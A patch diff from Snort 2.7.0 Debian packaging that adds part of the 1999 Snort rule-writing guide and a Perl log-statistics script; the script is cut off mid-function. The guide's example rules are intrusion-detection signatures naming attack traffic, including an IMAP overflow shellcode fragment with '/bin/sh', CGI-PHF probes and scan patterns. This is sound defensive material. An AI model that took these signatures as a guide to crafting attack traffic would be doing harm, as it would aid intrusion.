+indicated with a "!".&nbsp; For example, an easy modification to the initial
+example is to make it alert on any traffic that originates outside of the
+local net with the negation operator as shown in Figure 2.
+<p><a NAME="Figure 2"></a>
+<center><table BORDER COLS=1 WIDTH="80%" >
+<tr>
+<td>
+<center>alert tcp !192.168.1.0/24 any -> 192.168.1.0/24 111 (content: "|00
+01 86 a5|"; msg: "external mountd access";)</center>
+</td>
+</tr>
+</table></center>
+
+<center>Figure 2 - Example IP Address Negation Rule</center>
+
+<p>This rule's IP addresses indicate "any tcp packet with a source IP address
+<b><i>not</i></b>
+originating from the internal network and a destination address on the&nbsp;
+internal network".
+<p><a NAME="port_numbers"></a><b>Port Numbers</b>
+<p>Port numbers may be specified in a number of ways, including "any" ports,
+static port definitions, ranges, and by negation.&nbsp; "Any" ports are
+a wildcard value, meaning literally any port.&nbsp; Static ports are indicated
+by a single port number, such as 111 for portmapper, 23 for telnet, or
+80 for http, etc.&nbsp; Port ranges are indicated with the range operator
+":".&nbsp; The range operator may be applied in a number of ways to take
+on different meanings, such as in Figure 3.
+<br>&nbsp;
+<br>&nbsp;
+<center><table BORDER COLS=1 WIDTH="80%" >
+<tr>
+<td>
+<center>log udp any any -> 192.168.1.0/24 1:1024&nbsp;
+<br><i>log udp traffic coming from any port and destination ports ranging
+from 1 to 1024</i></center>
+</td>
+</tr>
+
+<tr>
+<td>
+<center>log tcp any any -> 192.168.1.0/24 :6000&nbsp;
+<br><i>log tcp traffic from any port going to ports less than or equal
+to 6000</i></center>
+</td>
+</tr>
+
+<tr>
+<td>
+<center>log tcp any :1024 -> 192.168.1.0/24 500:&nbsp;
+<br><i>log tcp traffic from priveleged ports less than or equal to 1024
+going to ports greater than or equal to 500</i></center>
+</td>
+</tr>
+</table></center>
+
+<center>Figure 3 - Port Range Examples</center>
+
+<p><br>
+<p>Port negation is indicated by using the negation operator "!".&nbsp;
+The negation operator may be applied against any of the other rule types
+(except any, which would translate to none, how Zen...).&nbsp; For example,
+if for some twisted reason you wanted to log everything except the X Windows
+ports, you could do something like the rule in Figure 4.
+<br>&nbsp;
+<br>&nbsp;
+<center><table BORDER COLS=1 WIDTH="80%" >
+<tr>
+<td>
+<center>log tcp any any -> 192.168.1.0/24 !6000:6010</center>
+</td>
+</tr>
+</table></center>
+
+<center>Figure 4 - Example of Port Negation</center>
+
+<p><br>
+<p><a NAME="direction_operator"></a><b>The Direction Operator</b>
+<p>The <i>direction operator</i> "->" indicates the orientation, or "direction",
+of the traffic that the rule applies to.&nbsp; The IP address and port
+numbers on the left side of the direction operator is considered to be
+the traffic coming from the source host, and the address and port information
+on the right side of the operator is the destination host.&nbsp; There
+is also a <i>bidirectional operator</i>, which is indicated with a "&lt;>"
+symbol.&nbsp; This tells Snort to consider the address/port pairs in either
+the source or destination orientation.&nbsp; This is handy for recording/analyzing
+both sides of a conversation, such as telnet or POP3 sessions.&nbsp; An
+example of the bidirectional operator being used to record both sides of
+a telnet session is shown in Figure 5.
+<br>&nbsp;
+<br>&nbsp;
+<center><table BORDER COLS=1 WIDTH="80%" >
+<tr>
+<td>
+<center>log !192.168.1.0/24 any &lt;> 192.168.1.0/24 23</center>
+</td>
+</tr>
+</table></center>
+
+<center>Figure 5 - Snort rules using the Bidirectional Operator</center>
+</blockquote>
+<a NAME="rule_options"></a><b><i><font size=+1>Rule Options</font></i></b>
+<blockquote>Rule options form the heart of Snort's intrusion detection
+engine, combining ease of use with power and flexibility.&nbsp; All Snort
+rule options are separated from each other using the semicolon ";" character.&nbsp;
+Rule option keywords are separated from their arguments with a colon ":"
+character. As of this writing, there are fifteen rule option keywords&nbsp;
+available for Snort:
+<ul>
+<li>
+msg - prints a message in alerts and packet logs</li>
+
+<li>
+logto - log the packet to a user specified filename instead of the standard
+output file</li>
+
+<li>
+minfrag - set a threshold value for the smallest acceptable IP fragment
+size</li>
+
+<li>
+ttl - test the IP header's TTL field value</li>
+
+<li>
+id - test the IP header's fragment ID field for a specific value</li>
+
+<li>
+dsize - test the packet's payload size against a value</li>
+
+<li>
+content - search for a pattern in the&nbsp; packet's payload</li>
+
+<li>
+offset - modifier for the content option, sets the offset to begin attempting
+a pattern match</li>
+
+<li>
+depth - modifier for the content option, sets the maximum search depth
+for a pattern match attempt</li>
+
+<li>
+flags - test the TCP flags for certain values</li>
+
+<li>
+seq - test the TCP sequence number field for a specific value</li>
+
+<li>
+ack - test the TCP acknowledgement field for a specific value</li>
+
+<li>
+itype - test the ICMP type field against a specific value</li>
+
+<li>
+icode - test the ICMP code field against a specific value</li>
+
+<li>
+session - dumps the application layer information for a given session</li>
+</ul>
+
+<p><br><a NAME="msg"></a><b>Msg</b>
+<p>The <i>msg</i> rule option tells the logging and alerting engine the
+message to print along with a packet dump or to an alert.&nbsp; It is a
+simple text string that utilizes the "\" as an escape character to indicate
+a discrete character that might otherwise confuse Snort's rules parser
+(such as the semi-colon ";" character).
+<p>Format:
+<blockquote>msg: "<i>&lt;message text></i>";</blockquote>
+
+<p><br><a NAME="logto"></a><b>Logto</b>
+<p>The <i>logto</i> option tells Snort to log all packets that trigger
+this rule to a special output log file.&nbsp; This is especially handy
+for combining data from things like NMAP activity, HTTP CGI scans, etc.&nbsp;
+It should be noted that this option does not work when Snort is in binary
+logging mode.
+<p>Format:
+<blockquote>logto: "<i>&lt;filename></i>";</blockquote>
+
+<p><br><a NAME="minfrag"></a><b>Minfrag</b>
+<p>Minfrag sets a minimum size threshold for a fragmented packet.&nbsp;
+It is generally used in conjunction with a single alert rule to set a boundry
+for the minimum fragment size that is acceptable on a network segment.&nbsp;
+It makes a handy detector for attackers that like to break their fragments
+into tiny pieces before transmitting them to try to avoid detection mechaisms.&nbsp;
+Generally speaking, there is virtually no commercial network equipment
+available that generates fragments smaller than 256-bytes, so people can
+take advantage of this fact by setting their minfrag value somewhere below
+that threshold.&nbsp; See Figure 6 for an example of a rule that uses the
+minfrag option.
+<p>Format:
+<blockquote>minfrag: "<i>&lt;number></i>";</blockquote>
+
+<center><table BORDER COLS=1 WIDTH="80%" >
+<tr>
+<td>
+<center>alert tcp any any -> any any (minfrag: 256; msg: "Tiny fragments
+detected, possible hostile activity";)</center>
+</td>
+</tr>
+</table></center>
+
+<center>Figure 6 - Minfrag Rule Option Example</center>
+
+<p><br>
+<br>
+<br>
+<br>
+<p><a NAME="ttl"></a><b>TTL</b>
+<p>This rule option is used to set a specific time-to-live value to test
+against.&nbsp; The test it performs is only sucessful on an exact match.&nbsp;
+This option keyword was intended for use in the detection of traceroute
+attempts.
+<p>Format:
+<blockquote>ttl: "<i>&lt;number></i>";</blockquote>
+<a NAME="id"></a><b>ID</b>
+<p>This option keyword is used to test for an exact match in the IP header
+fragment ID field.&nbsp; Some hacking tools (and other programs) set this
+field specifically for various purposes, for example the value 31337 is
+very popular with some hackers.&nbsp; This can be turned against them by
+putting a simple rule in place to test for this and some other "hacker
+numbers".
+<p>Format:
+<blockquote>id: "<i>&lt;number></i>;</blockquote>
+
+<p><br><a NAME="dsize"></a><b>Dsize</b>
+<p>The dsize option is used to test the packet payload size.&nbsp; It may
+be set to any value, plus use the greater than/less than signs to indicate
+ranges and limits.&nbsp; For example, if you know that a certain service
+has a buffer of a certain size, you can set this option to watch for attempted
+buffer overflows.&nbsp; It has the added advantage of being a much faster
+way to test for a buffer overflow than a payload content check.
+<p>Format:
+<blockquote>dsize: [<i>></i>|<i>&lt;</i>] <i>&lt;number></i>;
+<br>Note: The > and &lt; operators are optional!</blockquote>
+
+<p><br><a NAME="content"></a><b>Content</b>
+<p>The content keyword is one of the more important features of Snort.&nbsp;
+It allows the user to set rules that search for specific content in the
+packet payload and trigger response based on that data.&nbsp; Whenever
+a content option pattern match is performed, the Boyer-Moore pattern match
+function is called and the (rather computationally expensive) test is performed
+against the packet contents.&nbsp; If data exactly matching the argument
+data string os contained anywhere within the packet's payload, the test
+is successful and the remainder of the rule option tests are performed.&nbsp;
+Be aware that this test <b>is</b> case sensitive.
+<p>The option data for the content keyword is somewhat complex; it can
+contain mixed text and binary data.&nbsp; The binary data is generally
+enclosed within the pipe ("|") character and represented as <i>bytecode</i>.&nbsp;
+Bytecode represents binary data as hexidecimal numbers and is a good shorthand
+method for describing complex binary data.&nbsp; Figure 7 contains an example
+of mixed text and binary data in a Snort rule.
+<br>&nbsp;
+<br>&nbsp;
+<center><table BORDER COLS=1 WIDTH="80%" >
+<tr>
+<td>
+<center>alert tcp any any -> 192.168.1.0/24 143 (content: "|90C8 C0FF FFFF|/bin/sh";
+msg: "IMAP buffer overflow!";)</center>
+</td>
+</tr>
+</table></center>
+
+<center>Figure 7 - Mixed Binary Bytecode and Text in a Content Rule Option</center>
+
+<p>Format:
+<blockquote>content: "<i>&lt;content string></i>";</blockquote>
+
+<p><br><a NAME="offset"></a><b>Offset</b>
+<p>The offset rule option is used as a modifier to rules using the content
+option keyword.&nbsp; This keyword modifies the starting search position
+for the pattern match function from the beginning of the packet payload.&nbsp;
+It is very useful for things like CGI scan detection rules where the content
+search string is never found in the first four bytes of the payload.&nbsp;
+Care should be taken against setting the offset value too "tightly" and
+potentially missing an attack!&nbsp; This rule option keyword cannot be
+used without also specifying a content rule option.
+<p>Format:
+<blockquote>offset: <i>&lt;number></i>;</blockquote>
+
+<p><br><a NAME="depth"></a><b>Depth</b>
+<p>Depth is another content rule option modifier.&nbsp; This sets the maximum
+search depth for the content pattern match function to search from the
+beginning of its search region.&nbsp; It is useful for limiting the pattern
+match function from performing inefficient searches once the possible search
+region for a given set of content has been exceeded.&nbsp; (Which is to
+say, if you're searching for "cgi-bin/phf" in a web-bound packet, you probably
+don't need to waste time searching the payload beyond the first 20 bytes!)&nbsp;
+See Figure 8 for an example of a combined content, offset, and depth search
+rule.
+<p>Format:
+<blockquote>depth: <i>&lt;number></i>;</blockquote>
+
+<br>&nbsp;
+<center><table BORDER COLS=1 WIDTH="80%" >
+<tr>
+<td>
+<center>alert tcp any any -> 192.168.1.0/24 80 (content: "cgi-bin/phf";
+offset: 3; depth: 22; msg: "CGI-PHF attack";)</center>
+</td>
+</tr>
+</table></center>
+
+<center>Figure 8 - Combined Content, Offset and Depth Rule</center>
+
+<p><br>
+<br>
+<br>
+<br>
+<br>
+<p><a NAME="flags"></a><b>Flags</b>
+<p>This rule tests the TCP flags for an exact match.&nbsp; There are actually
+<b>8
+</b>flags
+variables available in Snort:
+<ul>
+<li>
+F - FIN (LSB in TCP Flags byte)</li>
+
+<li>
+S - SYN</li>
+
+<li>
+R - RST</li>
+
+<li>
+P - PSH</li>
+
+<li>
+A - ACK</li>
+
+<li>
+U - URG</li>
+
+<li>
+2 - Reserved bit 2</li>
+
+<li>
+1 - Reserved bit 1 (MSB in TCP Flags byte)</li>
+</ul>
+The reserved bits can be used to detect unusual behavior, such as IP stack
+fingerprinting attempts or other suspicious activity.&nbsp; All of the
+flags are considered as a whole for this test, they must all be "up" for
+this rule option to be successful.&nbsp; For instance, Figure 9 shows a
+SYN-FIN scan detection rule.
+<p>Format:
+<blockquote>flags: <i>&lt;flag values></i>;</blockquote>
+
+<br>&nbsp;
+<center><table BORDER COLS=1 WIDTH="80%" >
+<tr>
+<td>
+<center>alert any any -> 192.168.1.0/24 any (flags: SF; msg: "Possible
+SYN FIN scan";)</center>
+</td>
+</tr>
+</table></center>
+
+<center>Figure 9 - Sample TCP Flags Specification</center>
+
+<p><br>
+<br>
+<p><a NAME="seq"></a><b>Seq</b>
+<p>This rule option refers to the TCP sequence number.&nbsp; Essentially,
+it detects if the packet has a static sequence number set, and is therefore
+pretty much unused.&nbsp; It was included for the sake of completeness.
+<p>Format:
+<blockquote>seq: <i>&lt;number></i>;</blockquote>
+
+<p><br><a NAME="ack"></a><b>Ack</b>
+<p>The ack rule option keyword refers to the TCP header's acknowledge field.&nbsp;
+This rule has one practical purpose so far: detecting&nbsp; <a href="http://www.insecure.org">NMAP</a>
+TCP pings.&nbsp; A NMAP TCP ping sets this field to zero and sends a packet
+with the TCP ACK flag set to determine if a network host is active.&nbsp;
+The rule to detect this activity is shown in Figure 10.
+<p>Format:
+<blockquote>ack: <i>&lt;number></i>;</blockquote>
+
+<br>&nbsp;
+<center><table BORDER COLS=1 WIDTH="80%" >
+<tr>
+<td>
+<center>alert any any -> 192.168.1.0/24 any (flags: A; ack: 0; msg: "NMAP
+TCP ping";)</center>
+</td>
+</tr>
+</table></center>
+
+<center>Figure 10 - TCP ACK Field Usage</center>
+
+<p><br>
+<br>
+<p><a NAME="itype"></a><b>Itype</b>
+<p>This rule tests the value of the ICMP type field.&nbsp; It is set using
+the <i>numeric</i> value of this field.&nbsp; For a list of the available
+values, look in the decode.h file included with Snort or in any ICMP reference.&nbsp;
+It should be noted that the values can be set out of range to detect invalid
+ICMP type values that are sometimes used in denial of service and flooding
+attacks.
+<p>Format:
+<blockquote>itype: <i>&lt;number></i>;</blockquote>
+
+<p><br><a NAME="icode"></a><b>Icode</b>
+<p>The icode rule option keyword is pretty much identical to the itype
+rule, just set a numeric value in here and Snort will detect any traffic
+using that ICMP code value.&nbsp; Out of range values can also be set to
+detect suspicious traffic.
+<p>Format:
+<blockquote>icode: <i>&lt;number></i>;</blockquote>
+
+<p><br><a NAME="session"></a><b>Session</b>
+<p>The session keyword is brand new as of version 1.3.1.1 and is used to
+extract the user data from TCP sessions.&nbsp; It is extremely useful for
+seeing what users are typing in telnet, rlogin, ftp, or even web sessions.&nbsp;
+There are two available argument keywords for the session rule option,
+<i>printable</i>
+or <i>all</i>.&nbsp; The <i>printable</i> keyword only prints out data
+that the user would normally see or be able to type.&nbsp; The <i>all</i>
+keyword substitutes non-printable characters with their hexadecimal equivalents.&nbsp;
+This function can slow Snort down considerably, so it shouldn't be used
+in heavy load situations, and is probably best suited for post-processing
+binary (tcpdump format) log files.&nbsp; See Figure 11 for a good example
+of a telnet session logging rule.
+<p>Format:
+<blockquote>session: <i>[printable|all]</i>;</blockquote>
+
+<br>&nbsp;
+<center><table BORDER COLS=1 WIDTH="80%" >
+<tr>
+<td>
+<center>log tcp any any &lt;> 192.168.1.0/24 23 (session: printable;)</center>
+</td>
+</tr>
+</table></center>
+
+<center>Figure 11 - Logging Printable Telnet Session Data</center>
+
+<p><br></blockquote>
+<a NAME="advanced_rule_concepts"></a><b><i><font size=+1>Advanced Rule
+Concepts</font></i></b>
+<br>&nbsp;
+<blockquote><a NAME="includes"></a><b>Includes</b><b></b>
+<p>Versions of Snort after 1.3.1.2 include new rules file parsing functionality
+developed by Christian Lademann, including two new rules file keywords.&nbsp;
+The first of these keywords is <i>include</i>.&nbsp; The <i>include</i>
+keyword allows other rule files to be included with the rules file that
+indicated on the Snort command line.
+<p>Format:
+<blockquote>include: <i>&lt;include file path/name></i></blockquote>
+Note that there is no semicolon at the end of this line.&nbsp; Included
+files will substitute any predefined variable values into their own variable
+references.&nbsp; See the Variables section for more information on defining
+and using variables in Snort rule files.
+<p><a NAME="variables"></a><b>Variables</b>
+<p>As of version 1.3.1.2, variables may be defined in Snort.&nbsp; These
+are simple substitution variables set with the <i>var</i> keyword as in
+Figure 12.
+<p>Format:
+<blockquote>var: <i>&lt;name> &lt;value></i></blockquote>
+
+<center><table BORDER COLS=1 WIDTH="80%" >
+<tr>
+<td>
+<br>var MY_NET 192.168.1.0/24
+<p>alert tcp any any -> $MY_NET any (flags: S; msg: "SYN packet";)
+<br>&nbsp;</td>
+</tr>
+</table></center>
+
+<center>Figure 12 - Example of Variable Definition and Usage</center>
+
+<p>The rule variable names can be modified in several ways.&nbsp; You can
+define <i>meta-variables </i>using the "$" operator.&nbsp; These can be
+used with the variable modifier operators, "?" and "-".
+<ul>
+<li>
+$var - define meta variable</li>
+
+<li>
+$(var) - replace with the contents of variable "var"</li>
+
+<li>
+$(var:-default) - replace with the contents of the variable "var" or with
+"default" if "var" is undefined.</li>
+
+<li>
+$(var:?message) - replace with the contents of variable "var" or print
+out the error message "message" and exit</li>
+</ul>
+See figure 13 for an example of these rules modifiers in action.
+<br>&nbsp;
+<br>&nbsp;
+<center><table BORDER COLS=1 WIDTH="80%" >
+<tr>
+<td>
+<br>var MY_NET $(MY_NET:-192.168.1.0/24)
+<p>log tcp any any -> $(MY_NET:?MY_NET is undefined!) 23
+<br>&nbsp;</td>
+</tr>
+</table></center>
+
+<center>Figure 13 - Advanced Variable Usage Example</center>
+
+<br>&nbsp;
+<p><br></blockquote>
+<a NAME="building_good_rules"></a><b><i><font size=+1>Building Good Rules</font></i></b>
+<blockquote>There are some general concepts to keep in mind when developing
+Snort rules to maximize efficiency and speed.&nbsp; I will add to this
+section as my muse wills. :)
+<p><a NAME="case_sensitive"></a><b>Content Rules are Case Sensitive</b><i></i>
+<p>Don't forget that content rules are case sensitive and that many programs
+typically use uppercase letters to indicate commands.&nbsp; FTP is a good
+example of this.&nbsp; Consider the following two rules:
+<center>
+<p>alert tcp any any -> 192.168.1.0/24 21 (content: "user root"; msg: "FTP
+root login";)
+<br>alert tcp any any -> 192.168.1.0/24 21 (content: "USER root"; msg:
+"FTP root login";)</center>
+
+<p>The second of those two rules will catch most every automated root login
+attempt, but none that use lower case characters for "user".&nbsp; Case
+insensitivity is a feature that will probably be added in future versions
+of Snort, but for now be aware that case counts!
+<p><a NAME="speed_content"></a><b>Speeding Up Rules That Have Content Options</b><b></b>
+<p>The order that rules are tested by the detection engine is completely
+independent of the order that they are written in a rule.&nbsp; The last
+rule test that is done (when necessary) is always the content rule option.&nbsp;
+Take advantage of this fact by using other faster rule options that can
+detect whether or not the content needs to be checked at all.&nbsp; For
+instance, most of the time when data is sent from client to server after
+a TCP session is established, the PSH and ACK TCP flags are set on the
+packet containing the data.&nbsp; This fact can be taken advantage of by
+rules that need to test payload content coming from the client to the sever
+with a simple TCP flag test that is far less computationally expensive
+than the pattern match algorithm.&nbsp; Knowing this, a simple way to speed
+up rules that use content options is to also perform a flag test, as in
+Figure 14.&nbsp; The basic idea is that if the PSH and ACK flags aren't
+set, there's no need to test the packet payload for the given rule.&nbsp;
+If the flags are set, the additional computing power required to perform
+the test is negligible.
+<br>&nbsp;
+<br>&nbsp;
+<center><table BORDER COLS=1 WIDTH="80%" >
+<tr>
+<td>
+<center>alert tcp any any -> 192.168.1.0/24 80 (content: "cgi-bin/phf";
+flags: PA; msg: "CGI-PHF probe";)</center>
+</td>
+</tr>
+</table></center>
+
+<center>Figure 14 - Using TCP Flag Tests to Hasten Content Rules</center>
+
+<br>&nbsp;
+<p><br>
+<br>&nbsp;</blockquote>
+<HR>
+<I> Version 1.0, All rights reserved, &#169; Copyright 1999 Martin Roesch
+
+</body>
+</html>
--- snort-2.7.0.orig/debian/my/snort-stat
+++ snort-2.7.0/debian/my/snort-stat
@@ -0,0 +1,554 @@
+#!/usr/bin/perl
+#
+# snort_stat.pl is a perl script trying to generate statistical data from every
+# day snort log file.
+#
+# USAGE: cat <snort_log> | snort_stat.pl -r -f -h -t n -l<num>
+#        -d: debug
+#        -r: resolve IP address to domain name
+#        -f: use fixed rather than variable width columns
+#        -h: produce html output
+#        -t: threshold
+#        -a: scan whole file (no date limit)
+#	 -l: limit to <num> entries
+#
+# or put it in the root's crontab file:
+#59      10      *       *       *       root    cat /var/log/authlog | /etc/snort_stat.pl | sendmail root
+#
+# Changelog:
+# 2003-01-07, Christian Hammers <ch@debian.org>
+#	* added option "-l"
+#	* filtered for yesterdays lines
+#	* renamed "attacks to events"
+#	* slightly reformatted.
+# 2002-03-20, Yen-Ming Chen <chenym@ALUMNI.CMU.EDU>
+# 	* initial release
+# 
+
+use Getopt::Std;		# use Getopt for options
+use Socket;			# use socket for resolving domain name from IP
+use vars qw($opt_r $opt_f $opt_d $opt_h $opt_t $opt_a);
+%HOSTS = ();			# Hash for IP <-> domain name mapping  
+
+getopts('darfht:l:') || die "Could not getopts"; # get options in command line
+$saddr_len = 15;
+$daddr_len = 15;
+$timeout = 3;			# for name resolver
+$th = $opt_t || 0;		# default threshold
+$maxlines = $opt_l || 99999;	# no more than opt_l lines per statistic
+
+# used to filter yesterdays lines as auth.log is rotate weekly only
+chomp($yesterday_date_string = `/bin/date -d yesterday +'\%m/\%d-'`);
+if ($opt_d) { $yesterday_date_string = "."; }
+
+# process whatever comes in
+while (<>) {
+  my $alert = {};
+  chomp;
+  # is this line an alert message
+  if ( $_ =~ /^\[\*\*\]/ ) {
+    $line = <>;
+    chomp($line);
+    unless ( $line eq "" ) {
+      # strip off the [**] from either end.
+      s/\s*\[\*\*\]\s*//og;
+      s/\s*\[[0-9:]+\]\s*//o;
+      if ($_ =~ /^spp_anomsensor\:[\D]+\:\s([\d\.]+)/ox) {
+        $alert->{PLUGIN} = "anomsensor"; $alert->{TYPE} = "plugin";
+        $alert->{SIG} = $alert->{PLUGIN};
+      } elsif ($_ =~ /^spp_portscan\:\sEnd\sof\sportscan\sfrom\s([\d\.]+)/ox) {
+        $alert->{PLUGIN} = "portscan"; $alert->{TYPE} = "plugin";
+        $alert->{SADDR} = $1; $alert->{SIG} = $alert->{PLUGIN};
+        process_data($alert); $lastwassnort = 1; next;
+      } elsif ( $_ =~ /^spp_stream4\:\s(.+)/o ) {
+        $alert->{SIG} = $1; $alert->{TYPE} = "alert";
+	$alert->{PLUGIN} = "stream";
+      } elsif ( $_ =~ /[^:]/ox) {
+        $alert->{SIG} = $_; $alert->{TYPE} = "alert"; 
+      }
+      if ( $line =~ m/^\[Classification\:([^\]]*)\]\s
+	   \[Priority\:\s(\d+)\]/ox) {
+        $alert->{CLASS} = $1; $alert->{CONTENT} = $2; $alert->{PRIORITY} = $3;
+	$line=<>;
+      }
+      if ( $line =~ m/^(\d+)\/(\d+)(?:\/\d+)?\-(\d+)\:(\d+)\:(\d+)\.(\d+)\s
+	   ([\d\.]+)[\:]*([\d]*)\s[\-\>]+\s([\d\.]+)[\:]*([\d]*)/ox) {
+
+	   	next if (!$opt_a && $line =~ /^$yesterday_date_string/);
+        $alert->{MON} = $1;   $alert->{DAY} = $2;   $alert->{HOUR} = $3; 
+        $alert->{MIN} = $4;   $alert->{SEC} = $5;   $alert->{SADDR} = $7; 
+        $alert->{SPORT} = $8; $alert->{DADDR} = $9; $alert->{DPORT} = $10; 
+        $alert->{HOST} = "localhost"; 
+        process_data($alert); $lastwassnort = 1; next;
+      }
+    } else { 
+      print STDERR "Warning, file may be incomplete\n";
+      next;
+    }
+  } 
+  # This is syslog format
+  if ($_ =~ m/^(\w{3}) \s+ (\d+) \s (\d+)\:(\d+)\:(\d+)\s 
+                   (\S+?)\ssnort[\[\d+\]]*\:\s+(.+)/ox 
+      || m/^(\d+)\/(\d+)\-(\d+)\:(\d+)\:(\d+)\.(\d+)\s(.+)/ox) 
+  {
+    $alert->{MON} = $1;    $alert->{DAY} = $2;    $alert->{HOUR} = $3; 
+    $alert->{MIN} = $4;    $alert->{SEC} = $5;    $alert->{HOST} = $6;  
+    $alert->{SIG} = $7;    
+    $alert->{SIG} =~ s/\s*\[[\d\:]+\]\s*//;  # Get rid of [343:33:31]
+    $alert->{SIG} =~ s/\[\*\*\]//og; # Get rid of [**] if fast alert
+    if ($alert->{SIG} =~ m/spp_portscan\:\sEnd\sof\sportscan\sfrom\s
+	([\d\.]+)/ox) { # portscan
+      $alert->{SADDR} = $1; $alert->{TYPE} = "plugin"; 
+      $alert->{PLUGIN} = "portscan";
+      process_data($alert); $lastwassnort = 1; next;
+    } elsif ( $alert->{SIG} =~ s/\s([\d\.]+)[\:]?([\d]*)\s[\-\>]+\s
+                            ([\d\.]+)[\:]?([\d]*)\s*//x) {
+      $alert->{SADDR} = $1; $alert->{SPORT} = $2; 
+      $alert->{DADDR} = $3; $alert->{DPORT} = $4; 
+      if ($alert->{SIG} =~ m/spp_anomsensor\:\sAnomaly\sthreshold\s
+	  exceeded\:\s([\d\.]+)/ox) { # spade
+	$alert->{THR} = $1; $alert->{TYPE} = "plugin"; 
+	$alert->{PLUGIN} = "anomsensor";
+	process_data($alert); $lastwassnort = 1; next;
+      } elsif ($alert->{SIG} =~ s/spp_bo\:\s//ox) { # bo
+	$alert->{TYPE} = "plugin"; $alert->{PLUGIN} = "bo";
+	process_data($alert); $lastwassnort = 1; next;
+      } elsif ($alert->{SIG} =~ s/spp_stream4\:\s//ox) { # stream4 
+        $alert->{TYPE} = "plugin"; $alert->{PLUGIN} = "stream";
+        process_data($alert); $lastwassnort = 1; next;
+      } else { # normal alert
+	if ( $alert->{SIG} =~ s/\[Classification\:([^\[|^\]]*?)\]\s*
+	     (?:\[Priority\:\s(\d+)\])//x ) {
+	  $alert->{CLASS} = $1;  $alert->{PRIORITY} = $2;
+        }
+	$alert->{TYPE} = "sys"; $alert->{PLUGIN} = "none";
+	process_data($alert); $lastwassnort = 1; next;
+      }
+    } else {
+      print STDERR "No source/dest IP address found! Skipped!" if $opt_d; 
+      $alert = {}; next;
+    }
+  }
+  # If a snort message has been repeated several times
+  elsif ($lastwassnort && $_ =~ m/last message repeated (\d+) times/) {
+    # put the data in the matrix again for each repeat
+    $repeats = $1;
+    while ($repeats) {
+      push @result, $result[-1];
+      $repeats--;
+    }
+    next;
+  } else {
+    $lastwassnort = 0;
+    next;
+  }				# Message not related to snort
+}
+
+# begin statistics
+# I should've used $#result + 1 as $total in the first version! :(
+$total = $#result + 1;
+
+for $i ( 0 .. $#result ) {
+  # for the same pair of eventer and victim with same sig
+  # to see the event pattern
+  # used in same_event()
+  $s0{"$result[$i]->[9],$result[$i]->[7],$result[$i]->[6]"}++;
+  # for the same pair of eventer and victim 
+  # to see how many ways are being tried
+  # used in same_host_dest()
+  $s1{"$result[$i]->[7],$result[$i]->[9]"}++;
+  # from same host use same method to event 
+  # to see how many events launched from one host
+  # used in same_host_sig()
+  $s2{"$result[$i]->[6],$result[$i]->[7]"}++;
+  # to same victim with same method
+  # to see how many events received by one host
+  # used in same_dest_sig_stat()
+  $s3{"$result[$i]->[6],$result[$i]->[9]"}++;
+  # same signature
+  # to see the popularity of one event method
+  # used in event_distribution()
+  $s4{"$result[$i]->[6]"}++;
+  # source ip
+  $s5{"$result[$i]->[7]"}++;
+  # destination ip
+  $s6{"$result[$i]->[9]"}++;
+}
+
+# begin report
+
+exit 0 unless ($total);
+print_head();
+print_summary();
+print_menu();
+same_event();
+same_host_dest();
+same_host_sig();
+same_dest_sig_stat();
+event_distribution();
+if ($opt_p) {
+  portscan();
+}
+if ($opt_n) {
+  anomsensor();
+}
+print_footer();
+
+# print the header (e.g. for mail)
+sub print_head {
+  my $hostname = `hostname --fqdn`;
+  chomp($hostname);
+  if ($opt_h) {
+    print "<html>\n<head>\n";
+    print "<title>Snort Statistics</title>";
+    print "</head>\n<body>\n";
+    print "<h1>[SNORT] $hostname Statistics</h1>\n";
+  } else { 
+    print "Subject: [SNORT] $hostname daily report\n\n";
+  }
+}
+
+# print the time of begin and end of the log
+sub print_summary {
+  if ($opt_h) {
+    print "<table>\n";
+    print "<tr><th>The log begins at:</th>\n";
+    print "<td>$result[0]->[0] $result[0]->[1] $result[0]->[2]:$result[0]->[3]:$result[0]->[4]</td></tr>\n";
+    print "<tr><th>The log ends at:</th>\n";
+    print "<td>$result[$#result]->[0] $result[$#result]->[1] $result[$#result]->[2]:$result[$#result]->[3]:$result[$#result]->[4]</td></tr>\n";
+    print "<tr><th>Total events:</th><td> $total</td></tr>\n";
+    print "<tr><th>Signatures recorded:</th><td> ". keys(%s4) ."</td></tr>\n";
+    print "<tr><th>Source IP recorded:</th><td> ". keys(%s5) ."</td></tr>\n";
+    print "<tr><th>Destination IP recorded:</th><td> ". keys(%s6) ."</td></tr>\n";
+    print "<tr><th>Portscan detected:</th><td> ", eval '$#posres +1',"</td></tr>\n" if $opt_p;
+    print "<tr><th>Anomaly detected:</th><td> ", eval '$#anores +1',"</td></tr>\n" if $opt_n;
+    print "</table>\n";
+    print "<hr>\n";
+  } else {
+    print "Events between  $result[0]->[0] $result[0]->[1] ".
+	  "$result[0]->[2]:$result[0]->[3]:$result[0]->[4]  and  ".
+    	  "$result[$#result]->[0] $result[$#result]->[1] ".
+	  "$result[$#result]->[2]:$result[$#result]->[3]:$result[$#result]->[4]\n";
+    print "Total events: $total\n";
+    print "Signatures recorded: ". keys(%s4) ."\n";
+    print "Source IP recorded: ". keys(%s5) ."\n";
+    print "Destination IP recorded: ". keys(%s6) ."\n";
+    print "Portscan recorded: ", eval '$#posres +1',"\n" if $opt_p;
+    print "Anomaly recorded: ", eval '$#anores +1',"\n" if $opt_n;
+  }
+}
+
+# print menu for HTML page
+sub print_menu {
+  if ($opt_h) {
+    print "<ul><a name=\"top\"></a>\n";
+    print "<li><a href=\"#same_hdm\">Number of events from same host to same destination with same method</a>\n"; 
+    print "<li><a href=\"#same_hd\">Percentage and number of events from a host to a destination</a>\n";
+    print "<li><a href=\"#same_hm\">Percentage and number of events from one host to any with same method</a>\n";
+    print "<li><a href=\"#same_d\">Percentage and number of events to one certain host</a>\n";
+    print "<li><a href=\"#same_m\">Distribution of event methods</a>\n";
+    print "<li><a href=\"#portscan\">Portscans performed to/from HOME_NET</a>\n" if $opt_p;
+    print "<li><a href=\"#spade\">Anomaly detected by SPADE</a>\n" if $opt_n;
+    print "</ul><HR>\n";
+  }
+}
+
+# to see the frequency of the event from a certain pair of 
+# host and destination
+sub same_event {
+  if ($opt_h) {
+    print "<h3><a name=\"same_hdm\">Number of event from same host to same destination using same method</a></h3>\n";
+    print "<table>\n";
+    print "<tr><th># of events</th><th>from</th><th>to</th><th>with</th></tr>";
+    foreach $k (sort { $s0{$b} <=> $s0{$a} } keys %s0) { 
+      @_ = split ",",$k;
+      print "<tr><td>$s0{$k}</td><td>$_[1]</td><td>$_[0]</td>
+             <td>".printHref($_[2])."</td></tr>\n" if $s0{$k} > $th;
+    }
